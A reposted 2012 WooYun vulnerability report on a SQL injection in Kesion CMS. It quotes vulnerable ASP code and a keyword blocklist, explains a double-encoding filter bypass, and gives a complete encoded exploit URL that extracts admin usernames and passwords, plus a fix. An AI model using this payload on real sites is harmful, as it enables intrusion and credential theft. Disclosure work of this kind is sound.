当前位置: 首页 > news >正文

Kesion cms注入漏洞

2012-07-06

ywledoc http://www.wooyun.org/bugs/wooyun-2010-07419

简要描述:
函数过滤混乱导致注入
详细说明:
Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If

If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if

If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先进行了过滤,然后才调用UnEscape解码,
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。

漏洞证明
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin

转换如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修复方案
UnEscape()函数调用位置放在函数体内,或者不调用。

相关文章:

  • 轻松破解Win7的密码
  • 科讯 kesionCMS =8.0 9.0 任意下载漏洞最新 Exp
  • 通达OA 2011-2013 通杀GETSHELL
  • thinkphp框架下mysql注入
  • dedecms最新注入分析(可过gpc)
  • 过安全狗技术总汇
  • 建站之星最新0DAY
  • 最土团购网盲注n枚
  • MyBB plugin SQLi 0day
  • 使用HTTP_X_FORWARDED_FOR获取客户端IP的严重后果
  • ownCloud 开源云数据存储平台
  • PHPCMS v9 Getshell(Apache)
  • 从MSSQL里执行命令导出为MDF
  • load_file()常用路径
  • 计算机网络的分层体系结构
  • [NodeJS] 关于Buffer
  • [rust! #004] [译] Rust 的内置 Traits, 使用场景, 方式, 和原因
  • canvas 五子棋游戏
  • egg(89)--egg之redis的发布和订阅
  • input的行数自动增减
  • JS+CSS实现数字滚动
  • LeetCode29.两数相除 JavaScript
  • Python - 闭包Closure
  • react 代码优化(一) ——事件处理
  • spark本地环境的搭建到运行第一个spark程序
  • webpack项目中使用grunt监听文件变动自动打包编译
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 初识MongoDB分片
  • 从 Android Sample ApiDemos 中学习 android.animation API 的用法
  • 分类模型——Logistics Regression
  • 如何优雅地使用 Sublime Text
  • 深入浅出Node.js
  • 说说动画卡顿的解决方案
  • 思维导图—你不知道的JavaScript中卷
  • 跳前端坑前,先看看这个!!
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 一个JAVA程序员成长之路分享
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • #includecmath
  • ( 10 )MySQL中的外键
  • (06)Hive——正则表达式
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (C语言)求出1,2,5三个数不同个数组合为100的组合个数
  • (ibm)Java 语言的 XPath API
  • (附源码)springboot码头作业管理系统 毕业设计 341654
  • (一)Dubbo快速入门、介绍、使用
  • (一)Spring Cloud 直击微服务作用、架构应用、hystrix降级
  • (转)Linux整合apache和tomcat构建Web服务器
  • (转)负载均衡,回话保持,cookie
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • .bat文件调用java类的main方法
  • .NET C# 使用 SetWindowsHookEx 监听鼠标或键盘消息以及此方法的坑
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布
  • .net framework4与其client profile版本的区别
  • .Net MVC + EF搭建学生管理系统